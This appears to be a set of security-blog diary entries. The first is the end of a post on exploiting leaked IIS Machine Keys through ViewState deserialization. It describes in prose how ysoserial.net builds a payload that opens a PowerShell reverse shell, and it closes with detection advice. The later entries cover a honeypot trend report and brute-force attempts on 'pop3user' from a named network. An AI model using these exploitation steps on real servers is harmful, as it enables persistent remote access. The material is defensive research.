To reiterate – once an attacker has a valid Machine Key they basically have a backdoor to the IIS server that they can use at any point in time, as long as the Machine Key has not been changed!

PoC || GTFO

Let’s demonstrate this. I have a very simple application that allows a user to input their name (and will use it in a diary in the future as well), that looks like this:

When the Submit button is clicked, the following request is sent:

Now, the IIS server that I have setup is using automatically generated Machine Keys, to make exploitation a bit more interesting (notice I didn’t say difficult). When using the script that Soroush posted, the following information can be again seen:

This leaves us with all information needed to exploit this server.

We will use ysoserial.net to do this, specifically with following options:

• The plugin we will use will be ViewState, which will allow us to generate a malicious VIEWSTATE object, provided with know the Machine Key
• The gadget chain will be TextFormattingRunProperties – it usually generates the shortest payload and supports LosFormatter
• The command will be our PowerShell which will connect to our Netcat listener
• Finally we will need to provide the following:
  • Validation key is the Machine Key from above. I will be using an application specific validation key as we can see that, besides Machine Key being automatically generated, the server is using IsolateApps so every application has its own Machine Key, which is derived from the initial one
  • Validation algorithm will be HMACSHA256
  • My path and apppath will correspond to the application I am attacking (see Soroush’s post for more information about this)
  • Finally I am using the algorithm suitable for .NET 4.0

All we need to do now is go back and resend the request, but this time with our malicious VIEWSTATE object:

The response will be 500 Internal Server Error, but that’s what we want:

And we get our reverse shell happy dance:

Finally, the attacker can now use this malicious VIEWSTATE object on any page that belongs to this application, no matter what other parameters are sent as IIS will first try to deserialize the received VIEWSTATE object. And that’s their persistent backdoor.

Detection

IIS will at least log an event when Viewstate verification has failed. Failed here does not mean that MAC was incorrect (that is silently ignored), but when the verification process failed, which will happen when deserialization is exploited.

Full VIEWSTATE object is logged so that also allows for inspection on what has happened. If you do not already, make sure that you are monitoring Event Code 4009 in Windows Application code. Such an event will look as shown below:

--
Bojan
?X | LinkedIn

INFIGO IS | An Allurity Group member

I implemented a new report today, the "Daily Trends" report. It summarizes noteworthy data received from our honeypot. As with everything, it will improve if you provide feedback :)

There are two ways to receive the report:

1. E-Mail: Sign up at https://isc.sans.edu/notify.html 
2. JSON/HTTP: You may also just download the raw JSON data for the report at https://isc.sans.edu/feeds/trends.json

The sections of the report:

• Top 10 newly registered domains, based on our domain score (the higher, the more suspect)
• Top 10 URLs: The top 10 newly seen URLs from our web honeypot.
• Top 10 New SSH/Telnet usernames: Usernames our Cowrie honeypots have not seen before.
• Top 10 Trending ports

The layout will be refined for sure. Let me know I the data is useful.

Can't receive the email? E-mail delivery has always been an issue, which is why we offer the JSON report as well.

 

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Social Media/Contact Links|

Just saw something that I thought was long gone. The username "pop3user" is showing up in our telnet/ssh logs. I don't know how long ago it was that I used POP3 to retrieve e-mail from one of my mail servers. IMAP and various webmail systems have long since replaced this classic email protocol. But at least this one attacker is counting on someone still having a "pop3user" configured.

The passwords attempted are the classics "pop3user" and "123456". The sole IP address scanning for this username is 193.32.162.157. The IP address is part of AS47890, which is managed by Unmanaged (I am not making this up..)

route:          193.32.162.0/24
origin:         AS47890
mnt-by:         UNMANAGED
mnt-by:         ro-btel2-1-mnt
created:        2022-11-21T17:07:38Z
last-modified:  2022-11-21T17:07:38Z
source:         RIPE

The website for unmanaged.uk is blank, the network is probably unmanaged... not a fan of blocklists, but I would consider AS47890 a good candidate for a block.

pop3 still being used (maybe?), unmanaged networks... why are we wasting time trying to worry about 0-days?

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|